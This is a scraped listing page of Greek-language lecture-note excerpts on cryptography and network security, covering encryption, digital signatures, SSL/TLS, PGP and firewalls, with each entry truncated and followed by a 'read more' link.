ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ. Δ Εξάμηνο ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ Δ Εξάμηνο Εισαγωγή- Βασικές Έννοιες Διδάσκων : Δρ. Παρασκευάς Κίτσος diceslab.cied.teiwest.gr Επίκουρος Καθηγητής Εργαστήριο Σχεδίασης Ψηφιακών Ολοκληρωμένων Κυκλωμάτων

Διαβάστε περισσότερα

Εισαγωγή στην επιστήμη της Πληροφορικής και των Τηλεπικοινωνιών. Aσφάλεια

Εισαγωγή στην επιστήμη της Πληροφορικής και των Τηλεπικοινωνιών. Aσφάλεια Εισαγωγή στην επιστήμη της Πληροφορικής και των Τηλεπικοινωνιών Aσφάλεια Περιεχόμενα Πλευρές Ασφάλειας Ιδιωτικό Απόρρητο Μέθοδος Μυστικού Κλειδιού (Συμμετρική Κρυπτογράφηση) Μέθοδος Δημόσιου Κλειδιού (Ασύμμετρη

Διαβάστε περισσότερα

Διαχείριση Ασφάλειας και Εμπιστοσύνης σε Πολιτισμικά Περιβάλλοντα

Διαχείριση Ασφάλειας και Εμπιστοσύνης σε Πολιτισμικά Περιβάλλοντα Διαχείριση Ασφάλειας και Εμπιστοσύνης σε Πολιτισμικά Περιβάλλοντα Ενότητα 5: ΚΡΥΠΤΟΓΡΑΦΗΣΗ Δημήτριος Κουκόπουλος Σχολή Οργάνωσης και Διοίκησης Επιχειρήσεων Τμήμα Διαχείρισης Πολιτισμικού Περιβάλλοντος

Διαβάστε περισσότερα

Κρυπτογραφία. Κεφάλαιο 1 Γενική επισκόπηση

Κρυπτογραφία. Κεφάλαιο 1 Γενική επισκόπηση Κρυπτογραφία Κεφάλαιο 1 Γενική επισκόπηση Ανασκόπηση ύλης Στόχοι της κρυπτογραφίας Ιστορικό Γενικά χαρακτηριστικά Κλασσική κρυπτογραφία Συμμετρικού κλειδιού (block ciphers stream ciphers) Δημοσίου κλειδιού

Διαβάστε περισσότερα

ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ. Δ Εξάμηνο

ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ. Δ Εξάμηνο ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ Δ Εξάμηνο Εισαγωγή- Βασικές Έννοιες Διδάσκων : Δρ. Παρασκευάς Κίτσος Επίκουρος Καθηγητής e-mail: pkitsos@teimes.gr, pkitsos@ieee.org Αντίρριο 2015 1 ΤΙ ΕΙΝΑΙ Η ΚΡΥΠΤΟΛΟΓΙΑ?

Διαβάστε περισσότερα

Ψηφιακά Πιστοποιητικά Ψηφιακές Υπογραφές

Ψηφιακά Πιστοποιητικά Ψηφιακές Υπογραφές ΤΕΙ Κρητης Τμήμα Μηχανικών Πληροφορικής Εργαστήριο Ασφάλεια Πληροφοριακών Συστημάτων Ψηφιακά Πιστοποιητικά Ψηφιακές Υπογραφές Ψηφιακά Πιστοποιητικά Υποδομή δημόσιου κλειδιού (Public Key Infrastructure

Διαβάστε περισσότερα

ΣΕΜΙΝΑΡΙΟ. ΠΑΡΟΥΣΙΑΣΗ 19/5/11 Αµφιθέατρο

ΣΕΜΙΝΑΡΙΟ. ΠΑΡΟΥΣΙΑΣΗ 19/5/11 Αµφιθέατρο ΣΕΜΙΝΑΡΙΟ Θεµα : Τι είναι το SSL και πως χρησιµοποιείται. Τι χρειάζεται για να στηθεί ένα SSL. Οµάδα : Παναγιώτης Καλύβας Καρανίκας Γιώργος Μιχάλης Λιβάνιος ΠΑΡΟΥΣΙΑΣΗ 19/5/11 Αµφιθέατρο Εισαγωγή Τι είναι

Διαβάστε περισσότερα

ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ Δ Εξάμηνο

ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ Δ Εξάμηνο ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ Δ Εξάμηνο Τοπολογίες Διατάξεων Κρυπτογράφησης- Ασφάλεια Δικτύων και Ασφάλεια Ηλεκτρονικού Ταχυδρομείου Διδάσκων : Δρ. Παρασκευάς Κίτσος Επίκουρος Καθηγητής e-mail:

Διαβάστε περισσότερα

ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ Δ Εξάμηνο

ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ Δ Εξάμηνο ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ Δ Εξάμηνο Ψηφιακή Υπογραφή και Αυθεντικοποίηση Μηνύματος Διδάσκων : Δρ. Παρασκευάς Κίτσος Επίκουρος Καθηγητής e-mail: pkitsos@teimes.gr, pkitsos@ieee.org Αντίρριο

Διαβάστε περισσότερα

Εισαγωγή στην επιστήμη της Πληροφορικής και των. Aσφάλεια

Εισαγωγή στην επιστήμη της Πληροφορικής και των. Aσφάλεια Εισαγωγή στην επιστήμη της Πληροφορικής και των Τηλεπικοινωνιών Aσφάλεια Περιεχόμενα Πλευρές Ασφάλειας Ιδιωτικό Απόρρητο Μέθοδος Μυστικού Κλειδιού (Συμμετρική Κρυπτογράφηση) Μέθοδος Δημόσιου Κλειδιού (Ασύμμετρη

Διαβάστε περισσότερα

Σχεδίαση Εφαρμογών και Υπηρεσιών Διαδικτύου 11η Διάλεξη: Ασφάλεια στο Web

Σχεδίαση Εφαρμογών και Υπηρεσιών Διαδικτύου 11η Διάλεξη: Ασφάλεια στο Web Σχεδίαση Εφαρμογών και Υπηρεσιών Διαδικτύου 11η Διάλεξη: Ασφάλεια στο Web Δρ. Απόστολος Γκάμας Λέκτορας (407/80) gkamas@uop.gr Σχεδίαση Εφαρμογών και Υπηρεσιών Διαδικτύου Διαφάνεια 1 1 Εισαγωγικά Βασικές

Διαβάστε περισσότερα

ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ Δ Εξάμηνο. Ψηφιακή Υπογραφή και Αυθεντικοποίηση Μηνύματος

ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ Δ Εξάμηνο. Ψηφιακή Υπογραφή και Αυθεντικοποίηση Μηνύματος ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ Δ Εξάμηνο Ψηφιακή Υπογραφή και Αυθεντικοποίηση Μηνύματος 1 ΠΕΡΙΕΧΟΜΕΝΑ Ψηφιακές Υπογραφές Ασύμμετρης Κρυπτογραφίας Συστήματα ψηφιακής υπογραφής με αυτοανάκτηση Συστήματα

Διαβάστε περισσότερα

Ρ ΓΑ Σ Τ Ή Ρ Ι Ο 8 Α Σ Φ Ά Λ Ε Ι Α Σ Π Λ Η Ρ Ο Φ Ο Ρ Ι Κ Ώ Ν Σ Υ Σ Τ Η Μ ΆΤ Ω Ν

Ρ ΓΑ Σ Τ Ή Ρ Ι Ο 8 Α Σ Φ Ά Λ Ε Ι Α Σ Π Λ Η Ρ Ο Φ Ο Ρ Ι Κ Ώ Ν Σ Υ Σ Τ Η Μ ΆΤ Ω Ν ΤΕΙ Κρήτης Τμήμα Μηχανικών Πληροφορικής Ε Ρ ΓΑ Σ Τ Ή Ρ Ι Ο 8 Α Σ Φ Ά Λ Ε Ι Α Σ Π Λ Η Ρ Ο Φ Ο Ρ Ι Κ Ώ Ν Σ Υ Σ Τ Η Μ ΆΤ Ω Ν OpenSSL 12/1/2017 1 SSL-(SECURE SOCKETS LAYER) Το πρωτόκολλο SSL (Secure Sockets

Διαβάστε περισσότερα

Εισαγωγή στην Κρυπτολογία 3. Ασφάλεια Τηλεπικοινωνιακών Συστημάτων Κωδικός DIΤ114 Σταύρος ΝΙΚΟΛΟΠΟΥΛΟΣ

Εισαγωγή στην Κρυπτολογία 3. Ασφάλεια Τηλεπικοινωνιακών Συστημάτων Κωδικός DIΤ114 Σταύρος ΝΙΚΟΛΟΠΟΥΛΟΣ Εισαγωγή στην Κρυπτολογία 3 Ασφάλεια Τηλεπικοινωνιακών Συστημάτων Κωδικός DIΤ114 Σταύρος ΝΙΚΟΛΟΠΟΥΛΟΣ Ακεραιότητα Μονόδρομη Κρυπτογράφηση Ακεραιότητα Αυθεντικότητα μηνύματος Ακεραιότητα μηνύματος Αυθεντικότητα

Διαβάστε περισσότερα

ΠΡΟΣΤΑΣΙΑ ΠΡΟΣΩΠΙΚΩΝ ΔΕΔΟΜΕΝΩΝ ΣΤΙΣ ΤΕΧΝΟΛΟΓΙΕΣ ΠΛΗΡΟΦΟΡΙΚΗΣ ΚΑΙ ΕΠΙΚΟΙΝΩΝΙΩΝ ΚΑΘΩΣ ΚΑΙ ΣΤΟ ΔΙΑΔΙΚΤΥΟ

ΠΡΟΣΤΑΣΙΑ ΠΡΟΣΩΠΙΚΩΝ ΔΕΔΟΜΕΝΩΝ ΣΤΙΣ ΤΕΧΝΟΛΟΓΙΕΣ ΠΛΗΡΟΦΟΡΙΚΗΣ ΚΑΙ ΕΠΙΚΟΙΝΩΝΙΩΝ ΚΑΘΩΣ ΚΑΙ ΣΤΟ ΔΙΑΔΙΚΤΥΟ ΠΡΟΣΤΑΣΙΑ ΠΡΟΣΩΠΙΚΩΝ ΔΕΔΟΜΕΝΩΝ ΣΤΙΣ ΤΕΧΝΟΛΟΓΙΕΣ ΠΛΗΡΟΦΟΡΙΚΗΣ ΚΑΙ ΕΠΙΚΟΙΝΩΝΙΩΝ ΚΑΘΩΣ ΚΑΙ ΣΤΟ ΔΙΑΔΙΚΤΥΟ ΔΙΑΔΙΚΤΥΟ Το διαδίκτυο προσφέρει: Μετατροπή των δεδομένων σε ψηφιακή - ηλεκτρονική μορφή. Πρόσβαση

Διαβάστε περισσότερα

Χρήστος Ξενάκης Τμήμα Ψηφιακών Συστημάτων Πανεπιστήμιο Πειραιά

Χρήστος Ξενάκης Τμήμα Ψηφιακών Συστημάτων Πανεπιστήμιο Πειραιά Ασφάλεια στο Internet: Πρωτόκολλα Ασφάλειας Επιπέδου Εφαρμογής Χρήστος Ξενάκης Τμήμα Ψηφιακών Συστημάτων Πανεπιστήμιο Πειραιά Το μοντέλο του Internet t 2/36 Σχέσεις πρωτοκόλλων ασφαλείας και TCP/IP στοίβας

Διαβάστε περισσότερα

ΕΠΛ 674: Εργαστήριο 1 Ασφάλεια Επικοινωνιακών Συστημάτων - Κρυπτογραφία

ΕΠΛ 674: Εργαστήριο 1 Ασφάλεια Επικοινωνιακών Συστημάτων - Κρυπτογραφία ΕΠΛ 674: Εργαστήριο 1 Ασφάλεια Επικοινωνιακών Συστημάτων - Κρυπτογραφία Παύλος Αντωνίου Γραφείο: ΘΕΕ 02 B176 Εαρινό Εξάμηνο 2011 Department of Computer Science Ασφάλεια - Απειλές Ασφάλεια Γενικά (Ι) Τα

Διαβάστε περισσότερα

8.3.4 Τεχνικές Ασφάλειας Συμμετρική Κρυπτογράφηση Ασυμμετρική Κρυπτογράφηση Ψηφιακές Υπογραφές

8.3.4 Τεχνικές Ασφάλειας Συμμετρική Κρυπτογράφηση Ασυμμετρική Κρυπτογράφηση Ψηφιακές Υπογραφές Κεφάλαιο 8 8.3.4 Τεχνικές Ασφάλειας Συμμετρική Κρυπτογράφηση Ασυμμετρική Κρυπτογράφηση Ψηφιακές Υπογραφές Σελ. 320-325 Γεώργιος Γιαννόπουλος ΠΕ19, ggiannop (at) sch.gr http://diktya-epal-g.ggia.info/ Creative

Διαβάστε περισσότερα

Ανάλυση Δικτυακής Κίνησης Πρωτοκόλλων Υπηρεσιών. Ασφάλεια Δικτύων. (4 η άσκηση) Διαχείριση Δικτύων - Ευφυή Δίκτυα, 9 ο Εξάμηνο,

Ανάλυση Δικτυακής Κίνησης Πρωτοκόλλων Υπηρεσιών. Ασφάλεια Δικτύων. (4 η άσκηση) Διαχείριση Δικτύων - Ευφυή Δίκτυα, 9 ο Εξάμηνο, ΕΘΝΙΚΟ ΜΕΤΣΟΒΙΟ ΠΟΛΥΤΕΧΝΕΙΟ - ΕΜΠ ΣΧΟΛΗ ΗΛΕΚΤΡΟΛΟΓΩΝ ΜΗΧΑΝΙΚΩΝ & ΜΗΧ. ΥΠΟΛΟΓΙΣΤΩΝ Τομέας Επικοινωνιών, Ηλεκτρονικής & Συστημάτων Πληροφορικής Εργαστήριο Διαχείρισης & Βελτίστου Σχεδιασμού Δικτύων Τηλεματικής

Διαβάστε περισσότερα

Ασφάλεια στο Ηλεκτρονικό Επιχειρείν. ΤΕΙ Δυτικής Ελλάδας Τμήμα Διοίκησης Επιχειρήσεων - Πάτρα Κουτσονίκος Γιάννης

Ασφάλεια στο Ηλεκτρονικό Επιχειρείν. ΤΕΙ Δυτικής Ελλάδας Τμήμα Διοίκησης Επιχειρήσεων - Πάτρα Κουτσονίκος Γιάννης Ασφάλεια στο Ηλεκτρονικό Επιχειρείν ΤΕΙ Δυτικής Ελλάδας Τμήμα Διοίκησης Επιχειρήσεων - Πάτρα Κουτσονίκος Γιάννης 1 Κίνδυνοι Η-Ε Μερικοί από τους κινδύνους ενός δικτυακού τόπου Ε-εμπορίου περιλαμβάνουν:

Διαβάστε περισσότερα

κρυπτογραϕία Ψηφιακή ασφάλεια και ιδιωτικότητα Γεώργιος Σπαθούλας Msc Πληροφορική και υπολογιστική βιοιατρική Πανεπιστήμιο Θεσσαλίας

κρυπτογραϕία Ψηφιακή ασφάλεια και ιδιωτικότητα Γεώργιος Σπαθούλας Msc Πληροφορική και υπολογιστική βιοιατρική Πανεπιστήμιο Θεσσαλίας κρυπτογραϕία Ψηφιακή ασφάλεια και ιδιωτικότητα Γεώργιος Σπαθούλας Msc Πληροφορική και υπολογιστική βιοιατρική Πανεπιστήμιο Θεσσαλίας ιδιότητες ασϕάλειας ιδιότητες ασϕάλειας αγαθών Εμπιστευτικότητα (Confidentiality)

Διαβάστε περισσότερα

ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ Δ Εξάμηνο

ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ Δ Εξάμηνο ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ Δ Εξάμηνο Τοπολογίες Διατάξεων Κρυπτογράφησης- Εισαγωγή στην Ασφάλεια Δικτύων και Ασφάλεια Ηλεκτρονικού Ταχυδρομείου Διδάσκων : Δρ. Παρασκευάς Κίτσος Επίκουρος Καθηγητής

Διαβάστε περισσότερα

Ασφάλεια Υπολογιστικών Συστηµάτων

Ασφάλεια Υπολογιστικών Συστηµάτων Ορισµοί Κρυπτογράφηση: η διεργασία µετασχηµατισµού ενός µηνύµατος µεταξύ ενός αποστολέα και ενός παραλήπτη σε µια ακατανόητη µορφή ώστε αυτό να µην είναι αναγνώσιµο από τρίτους Αποκρυπτογράφηση: η διεργασία

Διαβάστε περισσότερα

Πανεπιστήμιο Πειραιά Τμήμα Ψηφιακών Συστημάτων. Κρυπτογραφία. Εισαγωγή. Χρήστος Ξενάκης

Πανεπιστήμιο Πειραιά Τμήμα Ψηφιακών Συστημάτων. Κρυπτογραφία. Εισαγωγή. Χρήστος Ξενάκης Πανεπιστήμιο Πειραιά Τμήμα Ψηφιακών Συστημάτων Κρυπτογραφία Εισαγωγή Χρήστος Ξενάκης Στόχος του μαθήματος Η παρουσίαση και ανάλυση των βασικών θεμάτων της θεωρίας κρυπτογραφίας. Οι εφαρμογές της κρυπτογραφίας

Διαβάστε περισσότερα

YΒΡΙΔΙΚΗ ΚΡΥΠΤΟΓΡΑΦΙΑ

YΒΡΙΔΙΚΗ ΚΡΥΠΤΟΓΡΑΦΙΑ ΤΕΙ Κρητης Τμήμα Μηχανικών Πληροφορικής Εργαστήριο Ασφάλεια Πληροφοριακών Συστημάτων YΒΡΙΔΙΚΗ ΚΡΥΠΤΟΓΡΑΦΙΑ Εισαγωγή Ο στόχος της υβριδικής μεθόδου είναι να αντισταθμίσει τα μειονεκτήματα της συμμετρικής

Διαβάστε περισσότερα

Ψηφιακά Πιστοποιητικά Ψηφιακές Υπογραφές

Ψηφιακά Πιστοποιητικά Ψηφιακές Υπογραφές ΤΕΙ Κρητης Τμήμα Μηχανικών Πληροφορικής Εργαστήριο Ασφάλεια Πληροφοριακών Συστημάτων Ψηφιακά Πιστοποιητικά Ψηφιακές Υπογραφές Φυσαράκης Κων/νος, PhD kfysarakis@staff.teicrete.gr Ψηφιακά Πιστοποιητικά Εισαγωγή

Διαβάστε περισσότερα

Εργαστήριο Ασφάλεια Πληροφοριακών Συστημάτων. PGP (Pretty Good Privacy)

Εργαστήριο Ασφάλεια Πληροφοριακών Συστημάτων. PGP (Pretty Good Privacy) Εργαστήριο Ασφάλεια Πληροφοριακών Συστημάτων PGP (Pretty Good Privacy) Εισαγωγή Το λογισμικό Pretty Good Privacy (PGP), το οποίο σχεδιάστηκε από τον Phill Zimmerman, είναι ένα λογισμικό κρυπτογράφησης

Διαβάστε περισσότερα

ΕΠΑΝΑΛΗΠΤΙΚΟ ΤΕΣΤ ΣΤΗΝ ΕΝΟΤΗΤΑ

ΕΠΑΝΑΛΗΠΤΙΚΟ ΤΕΣΤ ΣΤΗΝ ΕΝΟΤΗΤΑ ΕΠΑ.Λ. Άμφισσας Σχολικό Έτος : 2011-2012 Τάξη : Γ Τομέας : Πληροφορικής Μάθημα : ΔΙΚΤΥΑ ΥΠΟΛΟΓΙΣΤΩΝ ΙΙ Διδάσκων : Χρήστος Ρέτσας Η-τάξη : tiny.cc/retsas-diktya2 ΕΠΑΝΑΛΗΠΤΙΚΟ ΤΕΣΤ ΣΤΗΝ ΕΝΟΤΗΤΑ 8.3.4-8.3.6

Διαβάστε περισσότερα

ΗΛΕΚΤΡΟΝΙΚΗ ΔΙΑΚΥΒΕΡΝΗΣΗ ΣΤΗΝ ΕΕ

ΗΛΕΚΤΡΟΝΙΚΗ ΔΙΑΚΥΒΕΡΝΗΣΗ ΣΤΗΝ ΕΕ ΗΛΕΚΤΡΟΝΙΚΗ ΔΙΑΚΥΒΕΡΝΗΣΗ Ψηφιακές υπογραφές ΝΙΚΟΣ ΣΑΡΙΔΑΚΗΣ ΣΤΑΣΗΣ ΑΝΤΩΝΗΣ Γενική Γραμματεία Δημόσιας Διοίκησης και Ηλεκτρονικής Διακυβέρνησης ΥΠΕΣΔΔΑ 1 ΗΛΕΚΤΡΟΝΙΚΗ ΔΙΑΚΥΒΕΡΝΗΣΗ ΣΤΗΝ ΕΕ ΠΟΛΙΤΕΣ ΕΠΙΧΕΙΡΗΣΕΙΣ

Διαβάστε περισσότερα

Ασφάλεια Υπολογιστικών Συστημάτων

Ασφάλεια Υπολογιστικών Συστημάτων Ασφάλεια Υπολογιστικών Συστημάτων Ενότητα 6: SSL Νικολάου Σπύρος Τμήμα Μηχανικών Πληροφορικής ΤΕ Άδειες Χρήσης Το παρόν εκπαιδευτικό υλικό υπόκειται σε άδειες χρήσης Creative Commons. Για εκπαιδευτικό

Διαβάστε περισσότερα

ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ

ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ Δ Εξάμηνο Συναρτήσεις Κατακερματισμού και Πιστοποίηση Μηνύματος Διδάσκων : Δρ. Παρασκευάς Κίτσος Επίκουρος Καθηγητής e-mail: pkitsos@teimes.gr, pkitsos@ieee.org Αντίρριο

Διαβάστε περισσότερα

Εφαρμοσμένη Κρυπτογραφία Ι

Εφαρμοσμένη Κρυπτογραφία Ι Εφαρμοσμένη Κρυπτογραφία Ι Κωνσταντίνου Ελισάβετ ekonstantinou@aegean.gr http://www.icsd.aegean.gr/ekonstantinou Συνολικό Πλαίσιο Ασφάλεια ΠΕΣ Εμπιστευτικότητα Ακεραιότητα Πιστοποίηση Μη-αποποίηση Κρυπτογράφηση

Διαβάστε περισσότερα

Cryptography and Network Security Chapter 16. Fifth Edition by William Stallings

Cryptography and Network Security Chapter 16. Fifth Edition by William Stallings Cryptography and Network Security Chapter 16 Fifth Edition by William Stallings Chapter 16 Transport-Level Security Use your mentality Wake up to reality From the song, "I've Got You under My Skin by Cole

Διαβάστε περισσότερα

Ασφάλεια Πληροφοριακών Συστημάτων Ασφάλεια στο WWW

Ασφάλεια Πληροφοριακών Συστημάτων Ασφάλεια στο WWW Ασφάλεια στο WWW SSL/TLS Τμήμα Μηχ. Πληροφορικής ΤΕΙ Κρήτης Ασφάλεια στο WWW - SSL/TLS 1 Ασφάλεια στο Web Στα πρώτα βήματα των διαδικτυακών καταστημάτων οι συναλλαγές γινόταν μέσω τράπεζας (εμβάσματα,

Διαβάστε περισσότερα

Ασφάλεια στο WWW SSL/TLS

Ασφάλεια στο WWW SSL/TLS Ασφάλεια στο WWW SSL/TLS Τμήμα Μηχ. Πληροφορικής ΤΕΙ Κρήτης Ασφάλεια στο WWW - SSL/TLS 1 Ασφάλεια στο Web Στα πρώτα βήματα των διαδικτυακών καταστημάτων οι συναλλαγές γινόταν μέσω τράπεζας (εμβάσματα,

Διαβάστε περισσότερα

Κεφάλαιο 22. Πρωτόκολλα και πρότυπα ασφαλείας του Διαδικτύου

Κεφάλαιο 22. Πρωτόκολλα και πρότυπα ασφαλείας του Διαδικτύου Κεφάλαιο 22 Πρωτόκολλα και πρότυπα ασφαλείας του Διαδικτύου MIME και S/MIME MIME S/MIME Επέκταση της παλαιάς προδιαγραφής RFC 822 η οποία αφορά τη μορφή του ταχυδρομείου Διαδικτύου Ασφαλείς Γενικές Επεκτάσεις

Διαβάστε περισσότερα

ΔΙΑΧΕΙΡΙΣΗ ΔΙΚΤΥΩΝ Διαχείριση Ασφαλείας (Ι) Απειλές Ασφαλείας Συμμετρική & Μη-Συμμετρική Κρυπτογραφία

ΔΙΑΧΕΙΡΙΣΗ ΔΙΚΤΥΩΝ Διαχείριση Ασφαλείας (Ι) Απειλές Ασφαλείας Συμμετρική & Μη-Συμμετρική Κρυπτογραφία ΔΙΑΧΕΙΡΙΣΗ ΔΙΚΤΥΩΝ Διαχείριση (Ι) Απειλές Συμμετρική & Μη-Συμμετρική Κρυπτογραφία Β. Μάγκλαρης maglaris@netmode.ntua.gr www.netmode.ntua.gr 13/11/2017 ΘΕΜΑΤΙΚΕΣ ΠΕΡΙΟΧΕΣ ΑΣΦΑΛΕΙΑΣ Είδη Απειλών και Επιθέσεων

Διαβάστε περισσότερα

Εισ. Στην ΠΛΗΡΟΦΟΡΙΚΗ. Διάλεξη 8 η. Βασίλης Στεφανής

Εισ. Στην ΠΛΗΡΟΦΟΡΙΚΗ. Διάλεξη 8 η. Βασίλης Στεφανής Εισ. Στην ΠΛΗΡΟΦΟΡΙΚΗ Διάλεξη 8 η Βασίλης Στεφανής Περιεχόμενα Τι είναι κρυπτογραφία Ιστορική αναδρομή Αλγόριθμοι: Καίσαρα Μονοαλφαβιτικοί Vigenere Vernam Κρυπτογραφία σήμερα Κρυπτογραφία Σκοπός Αποστολέας

Διαβάστε περισσότερα

8.3 Ασφάλεια ικτύων. Ερωτήσεις

8.3 Ασφάλεια ικτύων. Ερωτήσεις 8.3 Ασφάλεια ικτύων Ερωτήσεις 1. Με τι ασχολείται η ασφάλεια των συστηµάτων; 2. Τι είναι αυτό που προστατεύεται στην ασφάλεια των συστηµάτων και για ποιο λόγο γίνεται αυτό; 3. Ποια η διαφορά ανάµεσα στους

Διαβάστε περισσότερα

Δίκτυα Υπολογιστών Firewalls. Χάρης Μανιφάβας

Δίκτυα Υπολογιστών Firewalls. Χάρης Μανιφάβας Δίκτυα Υπολογιστών Firewalls Χάρης Μανιφάβας 1 Επικοινωνία Βασίζεται στη μεταβίβαση μηνυμάτων (λόγω απουσίας διαμοιραζόμενης μνήμης) Απαιτείται συμφωνία φόρμας μηνυμάτων Πρότυπο Στόχος τυποποίησης = Συνεργασία

Διαβάστε περισσότερα

Ασφάλεια Ασύρματων & Κινητών Επικοινωνιών

Ασφάλεια Ασύρματων & Κινητών Επικοινωνιών Ασφάλεια Ασύρματων & Κινητών Επικοινωνιών Ασύρματες Επικοινωνίες Μέρος V Χρήστος Ξενάκης Τμήμα Ψηφιακών Συστημάτων Πανεπιστήμιο Πειραιώς Slide: 1/30 Περιεχόμενα IEEE 802.11i ΤΟ ΠΡΩΤΟΚΟΛΛΟ CCMP Γενικά Λίγα

Διαβάστε περισσότερα

Κρυπτογραφία και Ηλεκτρονικοί Υπολογιστές. ΣΥΝΤΕΛΕΣΤΕΣ: Κραβαρίτης Αλέξανδρος Μαργώνη Αγγελική Χαλιμούρδα Κων/να

Κρυπτογραφία και Ηλεκτρονικοί Υπολογιστές. ΣΥΝΤΕΛΕΣΤΕΣ: Κραβαρίτης Αλέξανδρος Μαργώνη Αγγελική Χαλιμούρδα Κων/να Κρυπτογραφία και Ηλεκτρονικοί Υπολογιστές ΣΥΝΤΕΛΕΣΤΕΣ: Κραβαρίτης Αλέξανδρος Μαργώνη Αγγελική Χαλιμούρδα Κων/να Ορισμός κρυπτογραφίας Με τον όρο κρυπτογραφία, αναφερόμαστε στη μελέτη μαθηματικών τεχνικών

Διαβάστε περισσότερα

Π Α Ν Ε Π Ι Σ Τ Η Μ Ι Ο Π ΑΤ Ρ Ω Ν

Π Α Ν Ε Π Ι Σ Τ Η Μ Ι Ο Π ΑΤ Ρ Ω Ν Π Α Ν Ε Π Ι Σ Τ Η Μ Ι Ο Π ΑΤ Ρ Ω Ν ΠΟΛΥΤΕΧΝΙΚΗ ΣΧΟΛΗ ΤΜΗΜΑ ΜΗΧΑΝΙΚΩΝ ΗΛΕΚΤΡΟΝΙΚΩΝ ΥΠΟΛΟΓΙΣΤΩΝ & ΠΛΗΡΟΦΟΡΙΚΗΣ ΕΡΓΑΣΙΑ ΕΞΑΜΗΝΟΥ ΓΙΑ ΤΟ ΜΑΘΗΜΑ ΔΙΚΤΥΑ ΔΗΜΟΣΙΑΣ ΧΡΗΣΗΣ ΚΑΙ ΔΙΑΣΥΝΔΕΣΗ ΔΙΚΤΥΩΝ ΑΣΦΑΛΕΙΑ ΔΙΚΤΥΩΝ

Διαβάστε περισσότερα

Freedom of Speech. Κρυπτογραφία και ασφαλής ανταλλαγή πληροφοριών στο Internet

Freedom of Speech. Κρυπτογραφία και ασφαλής ανταλλαγή πληροφοριών στο Internet Freedom of Speech Κρυπτογραφία και ασφαλής ανταλλαγή πληροφοριών στο Internet Freedom of Speech Ποιός ; & Γιατί ; Τι είναι Ιστορικά Στόχοι Είδη Μοντέρνων Αλγορίθμων Μοντέλα Εμπιστοσύνης 14/03/2012 Freedom

Διαβάστε περισσότερα

Υπολογιστική Θεωρία Αριθμών και Κρυπτογραφία

Υπολογιστική Θεωρία Αριθμών και Κρυπτογραφία Υπολογιστική Θεωρία Αριθμών και Κρυπτογραφία Συμμετρικά κρυπτοσυστήματα Άρης Παγουρτζής Στάθης Ζάχος Εθνικό Μετσόβιο Πολυτεχνείο Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών Σχολή ΗΜΜΥ ΕΜΠ 1

Διαβάστε περισσότερα

ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ. Δ Εξάμηνο

ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ. Δ Εξάμηνο ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ Δ Εξάμηνο Ασύμμετρη Κρυπτογράφηση (Κρυπτογραφία Δημόσιου Κλειδιού) Διδάσκων : Δρ. Παρασκευάς Κίτσος Επίκουρος Καθηγητής e-mail: pkitsos@teimes.gr, pkitsos@ieee.org

Διαβάστε περισσότερα

6.2 Υπηρεσίες Διαδικτύου

